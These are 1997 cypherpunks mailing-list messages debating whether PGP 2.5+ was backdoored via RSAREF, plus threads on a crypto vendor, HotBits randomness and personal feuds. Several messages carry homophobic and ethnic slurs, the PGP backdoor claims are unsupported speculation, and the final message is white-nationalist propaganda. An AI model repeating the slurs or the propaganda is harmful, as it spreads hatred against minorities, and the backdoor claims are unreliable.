> > private mail to the list.  Make of that what you will.
>
>   If this is the case, Roy, I apologize.
>   I didn't notice that you had changed the reply-to address on your
> response to bypass the anonymity of your reply, so it appeared in
> my headers in the same format as those replies I receive through
> the list.
>
>   I sometimes forget that there are those who do not wish the
> contents of their private email to reflect on their public image.
>   I wouldn't lose too much sleep over it, however, since many
> people on the list hate to have their bubbles burst and probably
> killfiled me after my first post.
>
>   I'm still waiting for someone to reply to the actual issues I
> raised in my post, as opposed dealing with imaginary daemons that
> they tacked on to the thread.

Maybe they're afraid that if they express their views on the snake oil
vendor you originally criticized, they too will get lawyer threats.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 06:07:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: *** VSA2048 Cryptography Module ***
In-Reply-To: <3328EB21.69DC@sk.sympatico.ca>
Message-ID: <LZ7J4D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> > DataETRsch@aol.com wrote:
> > > Greetings! DataET Research, Data Engineering Technologies, has recently
> > > initiated the distribution of VSACM, VSA2048 Cryptography Module.
>
> Igor Chudov @ home wrote:
> > How about your promise to release the source code? I am sure that you,
> > as an honest and honorable man and a businessman who needs trust, will
> > have no problems fulfilling your promise.
> >
> > Your promise is long overdue.
>
> Igor,
>   You have to remember how easily DataRETch's feeling were hurt the last
> time they advertised on the CypherPunks list, when list members 'flamed'
> them with questions like, "How does it work?"
>   So let's try to ask kinder, gentler questions this time around, such
> as, "Do the disks come in pretty colors?"

Some people do feel more comfortable on moderated lists where the moderator
enforces comity - sometimes with lawyer letters.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 14 Mar 1997 07:19:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
Message-ID: <199703141519.HAA27477@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone mistitling itself "Truthmonger" writes:

>   Now that you seem to have actually read what I have written, perhaps 
> you might consider reading what you, yourself, have written.
>   I stated my case for contending that PGP=>2.5 has been compromised, 
> and got back wild-eyed demands for proof of that which I did not
> claim, mainly, that PGP had been 'broken.'

>   To reiterate my original observations:
> 1. The development of RSA was funded and controlled by the spooks.
> i.e. - The National Science Foundation and the Navy.
> 2. The campaign of persecution against Phil Zimmerman ground to a
> halt once he agreed to PGP using the spook-developed RSAREF subroutines
> to implement the RSA functions, instead of PGP's original subroutines.

>   If people with guns came to me and told me that software I had 
> written now had to use their subroutines, instead of my own, then
> I would consider my software 'compromised', regardless of whether
> or not I could immediately discern any anomalies in it.
>   It is far, far easier to 'build' a back-door, than to 'find' one.

"TM" (I can't bring myself to use it's full name, since it is so
totally inappropriate) has made the following claims:

1. "PGP => 2.5 has been compromised."
2. "It is far, far easier to 'build' a back-door, than to 'find' 
    one."

His main arguement rests on the fact that the later versions
of PGP use RSAREF, rather than Phil's own code.

As support of the first claim, he claims:

> 1. The development of RSA was funded and controlled by the spooks.
> i.e. - The National Science Foundation and the Navy. 

I'm not sure what you're referring to with "RSA" here - is it the 
algorithm or the company? 

If it's the algorithm, you may or may not have the intellectual capacity 
to verify it yourself - if you don't you have no business telling us it's 
compromised, and if you do, either publish the problem (and claim your 
15 minutes of fame), or admit there is no hole you are aware of. 
There are plenty of people on this list who can follow the math, even
if you can't.

If it's the company, then you are either ignorant or lying. RSA has 
*not* had a good relationship with the USG, as those who have been 
following the matter over the years know well. Most recently, you 
will notice that it has licensed some of it's patents to a Japanese
chip maker in an effort to avoid problems with US export 
restrictions. Is this the action of a USG patsy?

> 2. The campaign
> of persecution against Phil Zimmerman ground to a halt once he
> agreed to PGP using the spook-developed RSAREF subroutines to
> implement the RSA functions, instead of PGP's original subroutines.

PGP 2.5 was released in March 1994, about a year after Phil was
indicted. It took until January 1996 for the indictment to be dropped;
nearly another two years. If a deal was struck, why did it take so
long? The dismissal of Phil's persecution was almost certainly due to
(a) the approach of the statute of limitations, and (b), the very 
high probability that he would be found innocent. if they took him 
to trial. The government simply ran out of legal pretexts under 
which to harass him.

Now that your supporting assertions have been shown to be flawed,
let's return to the original claims.

1. "PGP => 2.5 has been compromised."
2. "It is far, far easier to 'build' a back-door, than to 'find' 
    one."

The problem, TM, is that we have full source code, and anyone
with the intelligence and knowledge required can check it
independently. PGP and RSAREF are both distributed as source.
There is not one byte of instructions or data that have to 
be accepted on faith - no precompiled libraries, no mysterious
DLLs or ActiveX controls. 

If there is a backdoor, show it to us.

Your second claim, that it is easier to build a backdoor than to
find one, is true but not pertinant. Let's try an analogy.

1. You buy a house from a builder. You, being paranoid, wonder if
the builder has included a secret door to enable him to
enter the house without your permission. You investigate what you
can, but in the end are left with some doubts.

2. You buy a set of blueprints from the builder, and examine them
carefully for weaknesses. You then buy a plot of land of your choice, 
hire the workers you want, get materials from any supplier you wish. 
You supervise the construction yourself down to the last detail. 
Others who have purchased the same blue prints include trusted 
independent architects and construction engineers, who concur with you 
thatno hidden back doors can be found in the design. At this 
point, how worried are you that the builder has left himself an 
unauthorized entry?

The situation with PGP >=2.5 is like the second scenario, not the 
first.

What it comes down to "TM" is: Put up or shut up. You can't spread
FUD in a situation where there is no unknown to Fear, no Uncertainty
to deal with, and no Doubt that we have all the knowledge we need.

Respond in a substantive manner. So far, you've avoided doing so.

Peter Trei
trei@process.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 09:31:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fred Cohen and dhp.com
Message-ID: <PLek4D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


For a good laugh, check out www.dhp.com where they posted their
e-mail correspondence with Dr. Fred Cohen.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 14 Mar 1997 13:19:38 -0800 (PST)
To: an7575@anon.nymserver.com>
Subject: Re: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703140829.BAA28188@shaman.lycaeum.org>
Message-ID: <Pine.LNX.3.95.970314154804.647A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 14 Mar 1997, TruthMonger wrote:

>   If this is the case, Roy, I apologize.
>   I didn't notice that you had changed the reply-to address on your
> response to bypass the anonymity of your reply, so it appeared in
> my headers in the same format as those replies I receive through
> the list.
> 
>   I sometimes forget that there are those who do not wish the 
> contents of their private email to reflect on their public image.
>   I wouldn't lose too much sleep over it, however, since many 
> people on the list hate to have their bubbles burst and probably
> killfiled me after my first post.
> 
>   I'm still waiting for someone to reply to the actual issues I
> raised in my post, as opposed dealing with imaginary daemons that
> they tacked on to the thread.

I will attempt to address the issues you addressed in your post, although I
don't have the original.  You claimed that rsaref was spook-developed and could
have a backdoor in it.  Also, you said that charges were dropped against PRZ
after PGP was redistributed with rsaref.  I'm not sure whether charges were
actually filed against PRZ for patent infringement, but he included rsaref in
later versions to avoid legal problems.  This has nothing to do with PRZ being
charged with illegally exporting PGP.  These charges were dropped right before
the statue of limitations ran out, not after Phil built PGP with rsaref.

The security of rsaref can be verified pretty easily.  Just create a few test
vectors with another rsa implementation such as SSLeay, the rsa perl script,
or Phil's original rsa code.  If the output matches, then there is not a
backdoor in rsa (unless the same backdoor exists in every implementation of
rsa and/or every C compiler).  It could be that there is a way easier than
factoring to break rsa, but in this case, every version of PGP is insecure, not
just >=2.5 (or there might be a way to factor numbers in polynomial time).

The most likely place that there would be a backdoor would be either in the
key-generation algorithm or in the PRNG.  I'm not sure if much of the
key-generation code was changed between PGP 2.3 and 2.5.  There was a bug in
the PRNG that supposedly made it weaker.

Finally, if you're really concerned about rsaref, use the international
version which does not use rsaref (it's also a lot faster).  I know there's
one version that was developed independantly of the other versions from the
2.3 code.  There could be weaknesses in MD5 and IDEA, but MD5 was always used
so if there is a weakness in MD5, then every version of PGP has this weakness.
IDEA was not developed by the USG or anyone that was likely to be influenced
by the USG.  It was also introduced in 2.0, so if there was a weakness in IDEA,
this would mean that every version of PGP >=2.0 would be insecure.

Although I haven't personally scrutinized the PGP source code, I would say that
there is _very_ little chance that there is a backdoor in it.  It might be
insecure, but if this was true, then most crypto programs would also be
breakable.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Fri, 14 Mar 1997 15:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <199703142357.QAA03317@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> Some handsome devil named "Truthmonger" writes:
 
> >   I stated my case for contending that PGP=>2.5 has been compromised,
> > and got back wild-eyed demands for proof of that which I did not
> > claim, mainly, that PGP had been 'broken.'
> 
> >   To reiterate my original observations:
> > 1. The development of RSA was funded and controlled by the spooks.
> > i.e. - The National Science Foundation and the Navy.
> > 2. The campaign of persecution against Phil Zimmerman ground to a
> > halt once he agreed to PGP using the spook-developed RSAREF subroutines
> > to implement the RSA functions, instead of PGP's original subroutines.
> 
> >   If people with guns came to me and told me that software I had
> > written now had to use their subroutines, instead of my own, then
> > I would consider my software 'compromised', regardless of whether
> > or not I could immediately discern any anomalies in it.
> >   It is far, far easier to 'build' a back-door, than to 'find' one.
> 
> His main arguement rests on the fact that the later versions
> of PGP use RSAREF, rather than Phil's own code.

  It is rather surprising to have anyone on this list actually address
the issues I raised but, all the same, you seem to want to label the
detail you wish to address as my 'main' argument.
 
> As support of the first claim, he claims:
> > 1. The development of RSA was funded and controlled by the spooks.
> > i.e. - The National Science Foundation and the Navy.
 
> If it's the algorithm, you may or may not have the intellectual capacity
> to verify it yourself - if you don't you have no business telling us it's
> compromised, and if you do, either publish the problem (and claim your
> 15 minutes of fame), or admit there is no hole you are aware of.
> There are plenty of people on this list who can follow the math, even
> if you can't.

  There seems to be a decided lack of people on this list who can follow
the English language and simply stated concepts.
  Once again, I am asked to 'admit' what I have already made plain.
  What is this neurosis that everyone seems to have regarding PGP which
leads them to demand hard-evidence of malfeasance before suggesting
that one should not bend over in blind trust for encryption systems
whose development was funded by the spooks, and whose method of
implementation is a result of threats and coercion?
  Perhaps the government should have named their Key Escrow schemes 
"Zimmerman Escrow," instead, in order to take advantage of the bum-buddy
mentality among the cypherpunks which seems to hold issues
surrounding their holy icon to a different standard than other systems
of encryption.

  The denziens of the cypherpunks list often have math skills far above
those to be found in some of the related 'science' forums, but they do
not have a monopoly on clever use and manipulation of numbers, bits
and bytes.
  The Navy's Onion Routing system is more sophisticated than their first
cousins, the cypherpunks remailers, and there is no 'visible' hole or
back-door in their work. I have not seen any great rush by anyone with
half-a-brain, however, to indicate the remailers are being abandoned in
favor of the Navy's product.
  Why is that? Could it have anything to do with the same issues I have
raised in regard to RSA implementation?

  I doubt that it would come as a surprise to anyone to know that the
Navy also has mathematicians on the payroll, nor that their tenacles
in the scientific community are not all wearing uniforms and saluting
when their superiors enter the room.
  I also doubt that there are not those among the cypherpunks who are
capable of writing a subroutine to take advantage of unique attributes
of individual algorithms.
  
> RSA has
> *not* had a good relationship with the USG, as those who have been
> following the matter over the years know well. Most recently, you
> will notice that it has licensed some of it's patents to a Japanese
> chip maker in an effort to avoid problems with US export
> restrictions. Is this the action of a USG patsy?

  Their actions resulted in their product infiltrating a market which
is noted for being extremely hard to penetrate. Victims of con games
are seldom fooled by the 'bad guy' in the ruse.

> PGP 2.5 was released in March 1994, about a year after Phil was
> indicted. It took until January 1996 for the indictment to be dropped;
> nearly another two years. If a deal was struck, why did it take so
> long?

  I have never contended that Mr. Zimmerman was part of any direct
"deal" with the government or the prosecutors.
  His reputation capital, in my own mind, is high enough that I am
certain that it would take a phenomenal amount of pressure in order
to get him to betray his principles.
  On the other hand, only a fool would fail to take into consideration
the fact that the government is fully capable of applying a phenomenal
amount of pressure when they feel the stakes are high enough.
  The government, indeed, did not kiss Zimmerman 'on the lips' after 
the 'deal' with RSA was arranged, but they let his case simply run
its natural course, with no additional pressure being applied.

> The government simply ran out of legal pretexts under
> which to harass him.

  Take a whiff of some smelling-salts, Peter. The government 'never' 
runs out of pretexes under which to harass someone who remains an
actionable target in their minds.
  (Where were *you* when J.F.K was shot?)
 
> Now that your supporting assertions have been shown to be flawed,

  ...battered, but still standing.

> let's return to the original claims.
 
> 1. "PGP => 2.5 has been compromised."
> 2. "It is far, far easier to 'build' a back-door, than to 'find'
>     one."
 
> The problem, TM, is that we have full source code, and anyone
> with the intelligence and knowledge required can check it
> independently.

  Check it for what? For 'tricks and techniques' that you *know*
about?
  The fact that an individual has taught you 'everything you know'
does not lead to the conclusion that they have taught you everything
that 'they' know.
  I am sure you will agree, as well, that if a teenage hacker violates
your system, leaving its entrails shredded, that it is small consolation
that their math skills are not on a par with your own. Do people with
superior knowledge of virus' leave their systems open to attack from
unknown techniques? I don't think so.
  Several years ago, I emailed MicroSoft a short post suggesting that
they take steps to prevent their use of macros from being abused. The
reply I received, politely telling me to 'piss off,' informed me that
virus' could *not* be transmitted via "ASCII" files.

> Your second claim, that it is easier to build a backdoor than to
> find one, is true but not pertinant. Let's try an analogy.
 
> 1. You buy a house from a builder. You, being paranoid, wonder if
> the builder has included a secret door to enable him to
> enter the house without your permission. You investigate what you
> can, but in the end are left with some doubts.
 
> 2. You buy a set of blueprints from the builder, and examine them
> carefully for weaknesses. You then buy a plot of land of your choice,
> hire the workers you want, get materials from any supplier you wish.
> You supervise the construction yourself down to the last detail.
> Others who have purchased the same blue prints include trusted
> independent architects and construction engineers, who concur with you
> thatno hidden back doors can be found in the design. At this
> point, how worried are you that the builder has left himself an
> unauthorized entry?

  This is the point at which I realize that the builder has been banging
my wife, and that he 'leaked' a rumor of a 'secret' back-door so that
I would be too busy to notice my wife letting him in the "back door"
that was plainly visible in the blueprints.
  As well, if the blueprint bore the name of Doug Henning, would you be
as secure in your belief that there were no secret doors in place?

> What it comes down to "TM" is: Put up or shut up. 

  Your points are well taken, but far off the mark of the issue I 
raised, which was one of PGP having been "compromised." You make a
strong case for the mathematical strength of RSA implementation 
having been scrupulously investigated, although not an airtight one,
by any means. However, the issue of this or that system having been
"compromised" has more to do with the concept, rather than the
mathematics, of security.

  At the risk of being labeled a tenacle of Dr. Vulis, I will use a
"cocksucker" analogy, this being an area in which all factions of the
cypherpunks list seem to claim knowledge (although on 'opposite'
sides of the fence).

  In the militaristic/spook scheme of things, a system or entity is 
deemed to be "compromised" if there is a *possibility* of what is 
sometimes called a *known/unknown* (KU) factor having been introduced 
into a *controlled* situation or system.
  i.e. During the Cold War, homosexuality was one of the fulcrums which
could be used to pry open the security bonds between an agent and that
agent's controller.
   This was a 'known' factor which raised alarms, and an agent or entity
was deemed to be "compromised," regardless of whether this factor was
considered to be 'unknown' to the enemy. Trusted systems, as we call
them today, were automatically considered to be compromised if there
was reason to suspect that they *could have been* compromised, even if
it was 'unknown' whether or not they actually *were* compromised.

  The case of Alan Turning is a prime example, here. Revelation that 
there existed a fulcrum point which enemy agents could well have used
to compromise his work left it open to valid suspicion.
  It then behooved those with an interest in security matters to 
scrutinize not only his 'numbers,' but also his 'history,' and that
of those around him. It also became in their best interest to assume
that his work *had* been compromised, and to take measures to modify
or alter it in ways that would conceivably affect any methodologies
which were based on hidden designs or schemes.

 
> Respond in a substantive manner. So far, you've avoided doing so.

  The issues I raised were not of 'substance,' but of 'shadows.' 
  Had RSA development and implementation been funded and controlled by
the KGB, then I seriously doubt if the U.S. Military would have embraced
it, no matter what the *numbers* showed.
  If cypherpunks have a lower standard of suspicion, then I am certain
the government would be happy to provide them with *all* the software
they care to use.

>  You can't spread
> FUD in a situation where there is no unknown to Fear, no Uncertainty
> to deal with, and no Doubt that we have all the knowledge we need.

  If there is "no unknown to Fear," then perhaps you would be so kind
to supply me with "substantive" information such as all of the top-
secret government documents concerning encryption and the development
of RSA.
  If there is "no Uncertainty to deal with," then I assume that all
mathematical possibilities have been discovered and are known to all
members of the list, and that there will be no future developments in
the field of mathematics or encryption.
  It there is "no Doubt that (you) have all the knowledge (you) need,"
then there is a fellow I met in Chicago who runs a Pea/Shell game and,
I am certain, would be happy to give you a 'chance' to exercise your
Doubt-muscles.

  Thank you for at least dealing with matters that are in the same
ballpark as the issues I raised, as opposed to arguing over whether
or not the Dodgers could beat the Sharks.
 
TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: " C  M" <cookies_monsters@hotmail.com>
Date: Fri, 14 Mar 1997 17:24:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: What's up????.........Re: the Senators Breach either
Message-ID: <199703150124.RAA13611@f18.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


I wanted more info on your outfit, as I saw it on someone's site. What are you
dis'ing me? I got ca. 30 of these, why? 


>From cypherpunks@toad.com Thu Mar 13 17:38:05 1997
>Received: from [206.155.199.12] by smtp1.abraxis.com (NTMail 3.01.03) id
za228903; Thu, 13 Mar 1997 20:43:59 -0500
>Subject: the Senators Breach either
>the either
>Date: Thu, 13 Mar 1997 20:43:59 -0500
>Message-Id: <01435912416227@abraxis.com>
>Bill but
>If and.  of after
>Case presented and the
>of Bankruptcies current to.  declare longer the the
>whatsoever like To any
>the shall.  direct shall
>or 



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Fri, 14 Mar 1997 14:41:26 -0800 (PST)
To: ichudov@algebra.com
Subject: VSA2048 Cryptography Module Source Code
Message-ID: <970314174037_-1137100138@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone interested in receiving the source code of VSACM should e-mail
DataETRsch@aol.com with VSACM V2.0 Source Code Request in the subject line.
(BTW, about that "if they come in pretty disks" line, very funny.)

Jeremy Yu-Ramos
DataET Research




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 15:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VSA2048 Cryptography Module Source Code
In-Reply-To: <970314174037_-1137100138@emout02.mail.aol.com>
Message-ID: <L8wk4D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com writes:

> Anyone interested in receiving the source code of VSACM should e-mail
> DataETRsch@aol.com with VSACM V2.0 Source Code Request in the subject line.
> (BTW, about that "if they come in pretty disks" line, very funny.)

Please observe the difference between honest crypto vendors and the lying
Arab snake oil salesmen who peddle their web server without source code and
threaten to sue anyone who questions its security.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Mar 1997 16:43:58 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: VSA2048 Cryptography Module Source Code
In-Reply-To: <970314174037_-1137100138@emout02.mail.aol.com>
Message-ID: <3329EC05.474D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com wrote:
> Anyone interested in receiving the source code of VSACM should e-mail
> DataETRsch@aol.com with VSACM V2.0 Source Code Request in the subject line.
> (BTW, about that "if they come in pretty disks" line, very funny.)

  I am happy to see that DataETRsch has developed a sense of humor since
their last visit to the list.
  The CypherPunks name is used by some as a synonym for 'irreverance'.

  The down-side of exposing your product to the scrutiny of the
CypherPunks is that it will be shaken down, battered and bruised,
and you will be confronted with hard questions and skepticism.
  The up-side is that in between the irreverance and the skepticism,
you will get feedback on your product from people whose knowledge of
encryption and cryptography issues is second to none.

  If CypherPunks can't find holes in your product, then it should
plainly be a feather in your cap. If they do find some holes, then
you are better off to know about them now, as opposed to finding out
far down the road, when you have much greater reputation capital
that could be damaged.

  I hope that you indeed have a strong, secure product to offer, as
I regard strong crypto as being of premiere importance in supporting
privacy and freedom.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Mar 1997 21:06:20 -0800 (PST)
To: cryptography@c2.net
Subject: FWD: Hot and cold running randomness
Message-ID: <3.0.1.32.19970314183200.00640df0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The following article was on RISKS Digest.
Obviously it's not usable for cryptographic randomness,
since you can't trust the path to be safe from eavesdroppers
(even if you're using SSL/RC4-128, can you trust the far end?
or from denial of service attacks (so be careful about wiring it in),
but sometimes you just want a good-quality random number to seed things,
such as a simulation program, and it might not be a bad thing to
hash in to your entropy pool with locally-derived sources.
------------------------------

Date: Mon, 10 Mar 1997 13:10:36 -0800
From: dwing@Cisco.COM (Dan Wing)
Subject: Hot and cold running randomness

TBTF's 9 Mar 1997 issue carried this item:

#..Hot and cold running randomness
#
#    Perhaps for the first time, anyone with an Internet connection can
#    tap a source of true randomness. The creator of HotBits [16], John
#    Walker <kelvin@fourmilab.ch>, describes it as
#
#      > an Internet resource that brings genuine random numbers, 
#      > generated by a process fundamentally governed by the inherent
#      > uncertainty in the quantum mechanical laws of nature, directly
#      > to your computer... HotBits are generated by timing successive
#      > pairs of radioactive decays... You order up your serving of
#      > HotBits by filling out a [Web] request form... the HotBits
#      > server flashes the random bytes back to you over the Web.
#
#    Walker modified an off-the-shelf radiation detector to interface to
#    a PC-compatible serial port, and ran a cable three floors down from
#    his office to a converted 70,000-litre subterranean water cistern
#    with metre-thick concrete walls, where the detector nestles with a
#    60-microcurie Krypton-85 radiation source.
#
#    If you're in the mood for an anti-Microsoft rant of uncommon eloquence,
#    Walker can supply that too [17].
#
#    Thanks to Keith Bostic <bostic@bostic.com> for the word on this 
#    delightful service.
#
#    [16] <URL:http://www.fourmilab.ch/hotbits/>
#    [17] <URL:http://www.fourmilab.ch/hotbits/source/hotbits-c.html>

An interesting idea, but hopefully no will use it -- it is too easily
spoofed via DNS, and the host itself could be hacked to return the same
'random' number all the time.  (Maybe after we have IPsec, SecDNS, _and_ you
trust the host we could use services like this on the Internet).

Dan Wing  dwing@cisco.com

------------------------------


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 14 Mar 1997 17:48:47 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: [ADMINISTRATIVIUM] ElGamal
In-Reply-To: <199703141357.FAA11256@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970314184557.63832A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis get help.

On Fri, 14 Mar 1997, Anonymous wrote:

> The only `culture' Timmy C[ocksucker] May 
> possesses is that cultivated from his foreskin 
> scrapings.
> 
>            O O  Timmy C[ocksucker] May
>             |
>           \___/
>            \_/
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Mar 1997 19:17:58 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332A13F5.3889@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:
> Peter Trei wrote:
> > Some handsome devil named "Truthmonger" writes:

> Take a whiff of some smelling-salts, Peter. The government 'never'
> runs out of pretexes under which to harass someone who remains an
> actionable target in their minds.
> (Where were *you* when J.F.K was shot?)

Once you've been labeled a "conspiracy theorist", you should
realize that you've been talking to people who are seeking after
a smaller truth than you are.  Like the newspapers they read,
they'll get the story eventually.

Check out the stiff who's pictured with Phil in the MicroTimes
current issue, his new partner or something.  Phil looks happy,
like they gave him a lifetime supply of double-stuff Oreos.

PGP really needed to be upgraded in several ways that have already
been discussed (briefly!) on the list, but couldn't because:

1. Not enough money to pay to redevelop 60,000+ lines of code that
   would have to be optimized for consumer PC's.

2. BIG pressure from the feds to not implement new technology
  (and by that I don't mean elliptic curves or discrete logs or
   other stuff that was broken years ago).

3. "Competitors" and feds who have years of experience in actual
   disinformation sciences, spreading FUD (this could apply to me,
   of course, but I'm really not that kind of person).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 20:40:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] ElGamal
In-Reply-To: <Pine.A41.3.95.970314184557.63832A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <Nu8k4D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Vulis get help.

What kind of help can you offer Graham-John

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Mar 1997 21:35:35 -0800 (PST)
To: DataETRsch@aol.com
Subject: VSACM V2.0 Source Code Request
Message-ID: <199703150531.XAA05190@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mr. Ramos -- 

I would appreciate receiving a copy of the source code for your
encryption software, for the purpose of peer review.

Best regards,

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Mar 1997 21:43:33 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <33296935.3C5E@gte.net>
Message-ID: <199703150538.XAA05320@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Along the lines of poetry festivals and spambots, I may suggest this.
> > When I was 16, I wrote a prose writing program in Pascal. It read a long
> > text and created a table: as the key, it had pairs of words, and as the
> > data, it had list of all words that follow the pair in the index. The
> > table was generated by a single pass through the source text, where
> > there was a moving 3-word window and first two words were used as the
> > key to the third word. The window moves one word at a time.
> > The loop repeats indefinitely. The text that results looks like it was
> > written by a schizophrenic -- it is more or less correct grammatically,
> > uses more or less compatible words and seems to make sense, but the
> > meaning seems to evade the reader. It is an extremely strange and
> > annoying feeling.
> 
> If an actor really "gets into" their part, could you easily tell
> if the schizophrenia is good acting, or is latent in the actor?
> (BTW, does not apply to O.J. Simpson or Ronald Reagan).

I am not sure if I am a really good expert on mental health. Also,
many people do not quite understand what schizophrenia really is
and how it works. It could well be that no one understands it.

> I hope you're not writing Pascal any more.

Not any more...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advinfo@dreamon.com (Adv Info)
Date: Fri, 14 Mar 1997 22:12:16 -0800 (PST)
To: advinfo@dreamon.com
Subject: ADV Weekly Transcripts
Message-ID: <332A3D06.43FE@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
advinfo@dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Reports from Our Correspondents: Racial News from Around the World
by Kevin Alfred Strom 

In this article we will be looking at news items, both profound and
absurd, sent in by ADV listeners around the world, which have been
overlooked or underreported by the controlled media. In a previous
article I detailed a few of the many so-called "hate crimes" that
actually turn out to be hoaxes perpetrated by the so-called oppressed
groups themselves. Just after I filed that article another item was sent
to me which continues the long list of such hoaxes. It's from the
Pensacola News-Journal, June 1, 1996: 

     MIAMI -- A Jewish father and son team were convicted of staging 
     hate crimes by defacing a Jewish school's buses to drum up repair 
     work. 

     Al and Steven Rubin arranged for two teenagers to vandalize school
     buses and spray-paint anti-Semitic slogans and swastikas around 
     Hillel Community Day School last year. 

     . . . Steven Rubin, the school's transportation director, directed 
     repair business to his father, who owned Priority Car Care. The son
     also was accused of faking work for his father, including $79 oil 
     changes billed at $4,000. 

     David Michael Brown, a mechanic who once worked for Al Rubin, 
     testified he acted as the middleman, paying the vandals $50. 

